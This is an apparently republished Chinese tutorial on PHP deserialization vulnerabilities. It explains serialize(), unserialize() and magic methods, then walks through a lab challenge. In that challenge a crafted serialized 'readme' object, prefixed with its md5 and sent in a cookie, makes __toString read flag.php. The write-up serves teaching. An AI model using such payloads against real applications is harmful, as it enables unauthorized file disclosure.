九漏洞挖掘与代码审计反序列化漏洞

Posted 玛卡巴卡巴巴亚卡

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了九漏洞挖掘与代码审计反序列化漏洞相关的知识,希望对你有一定的参考价值。

一、反序列化

序列化 (serialize)是将对象的状态信息转换为可以存储或传输的形式的过程。在序列化期间,对象将其当前状态写入到临时或持久性存储区。以后,可以通过从存储区中读取或反序列化对象的状态,重新创建该对象。【将状态信息保存为字符串】

简单的理解:将php中 对象、类、数组、变量、匿名函数等,转化为字符串,方便保存到数据库或者文件中

 

序列化就是将对象的状态信息转为字符串储存起来,那么反序列化就是再将这个状态信息拿出来使用。(重新再转化为对象或者其他的)【将字符串转化为状态信息】

 

序列化和反序列化是和类有关,A的类只能给A用。

 

1、序列化

 

__FILE__当前文件路径

show_source()显示文件php代码,内容可以添加想要的文件

 

当在php中创建了一个对象后,可以通过serialize()把这个对象转变成一个字符串,保存对象的值方便之后的传递与使用。

fxlh.php代码内容,序列化,输出O:7:"chybeta":1:{s:4:"test";s:3:"123";} 

O代表类,7说明共有七个字符,chybeta的1个类,s代表字符串,长度为4,名字是test,字符串123,长度为3.

<meta charset='utf-8'>
<?php
	
show_source(__FILE__); //显示当前文件的php代码
class chybeta //定义类 chybeta
{
	var $test ='123';
}
$class1 = new chybeta; //新建对象
$class1_ser = serialize($class1); //序列化
print_r($class1_ser);

?>

与 serialize() 对应的,unserialize()可以从已存储的表示中创建PHP的值,单就本次环境而言,可以从序列化后的结果中恢复对象(object)

fxlh.php,反序列化代码和输出

<meta charset='utf-8'>
<?php
	
show_source(__FILE__); //显示当前文件的php代码

//反序列化
class chybeta
{
	var $test = 123;
}
$a = unserialize('O:7:"chybeta":1:{s:4:"test";s:3:"123";}');
var_dump($a);
?>

 

本质上serialize()和unserialize()在PHP内部实现上是没有漏洞的,漏洞的主要产生是由于应用程序在处理对象、魔术函数以及序列化相关问题的时候导致的。

当传给 unserialize() 的参数可控时,那么用户就可以注入精心构造的payload。当进行反序列化的时候就有可能会触发对象中的一些魔术方法,造成意想不到的危害。

 

2、魔术方法

__construct():当对象创建(new)时会自动调用。但在unserialize()时是不会自动调用的。(构造函数)

__destruct():当对象被销毁时会自动调用。(析构函数)

__wakeup() :如前所提,unserialize()时会自动调用。

 

(1)__construct()

<?php
show_source(__FILE__);
class chybeta
{
	var $test;
	public function __construct()
	{
		echo '__construct';
	}
}
$a = new chybeta;	

?>

 可以看到__consturct()在new时自动调用了,被输出了。

 

首先序列化输出变量a,可以看到a的类型是类,test变量里是空

最后反序列化输出的内容是一样的

 

(2)__wakeup()

反序列化时被执行

 

二、靶场

1、代码阅读

(1)第一段代码

flag被存储在flag.php文件中,定义了一个readme类

__toString是一个魔术方法,快速获取对象的字符串信息,当一个对象被当做字符串处理时会被调用。echo时会当字符串处理。

highlight_file是文件高亮。

如果调用魔术方法,就会显示Readme.txt的内容以及$this。

当有get传参source时,$s得到一个对象,$s等于当前文件路径,输出$s,魔术方法__toString被调用。

假如$s->source这里传参flag.php就可以显示了。

我们把代码拷贝下来在本地实验一下,果真在$s -> source传参设定自定义文件,就可以输出

因为$s 是new定义,如果我们可以对$s序列化后的值,进行反序列化,输出想要的文件

 

所以这个文件主要需要得到flag的序列化值,所以我们修改代码得到flag.php的序列化值

O:6:"readme":1:{s:6:"source";s:8:"flag.php";}

 

(2)第二段源代码

因为反序列化了$m,$m由$c决定,$c由$_COOKIE['todos']决定.

substr($c,0,32)指截取前32位,存为$h

substr($c,32)指截取后32位,存为$m

$c=$h.$m

当md5($m)等于$h时,反序列化$m,并保存在$todos中

所以$c = md5($m).$m

所以$c = md5(O:6:"readme":1:{s:6:"source";s:8:"flag.php";}) . O:6:"readme":1:{s:6:"source";s:8:"flag.php";}

 

(3)第三段代码

foreach($todos as $todo)是把$todos内容($m反序列化)依次放入$todo遍历

<?=$todo?> ===>  <?php echo $todo;?>

这是php的简易写法,意思是输出$todo

endforeach直到遍历结束

需要遍历,条件是$todos($m反序列化)必须是数组

 

2、操作

(1)得到序列化值

<meta charset='utf-8'>
<?php
Class readme
{
	public function __toString()
	{
		return highlight_file('Readme.txt',true).highlight_file($this->source,true);
	}
}
$s = new readme();
$s -> source = 'flag.php';
$s = [$s];
echo serialize($s);
?>

a:1:{i:0;O:6:"readme":1:{s:6:"source";s:8:"flag.php";}}

经过MD5加密得到  e2d4f7dcc43ee1db7f69e76303d0105c

(2)构建$c

$c = md5($m).$m

$c = e2d4f7dcc43ee1db7f69e76303d0105ca:1:{i:0;O:6:"readme":1:{s:6:"source";s:8:"flag.php";}}

(3)COOKIE传参

要url编码

 

三、总结

反序列化漏洞利用方法

1、找到可以利用的魔术方法

2、找到可以反序列化的点

3、触发魔术方法

 

 

 

 

 

 

 

以上是关于九漏洞挖掘与代码审计反序列化漏洞的主要内容,如果未能解决你的问题,请参考以下文章

九漏洞挖掘与代码审计变量覆盖漏洞

九漏洞挖掘与代码审计本地包含与远程包含

php代码审计9审计反序列化漏洞

JAVA代码审计之Shiro反序列化漏洞分析

漏洞寻踪Apache ShardingSphere RCE漏洞分析

15-PHP代码审计——yii 2.0.37反序列化漏洞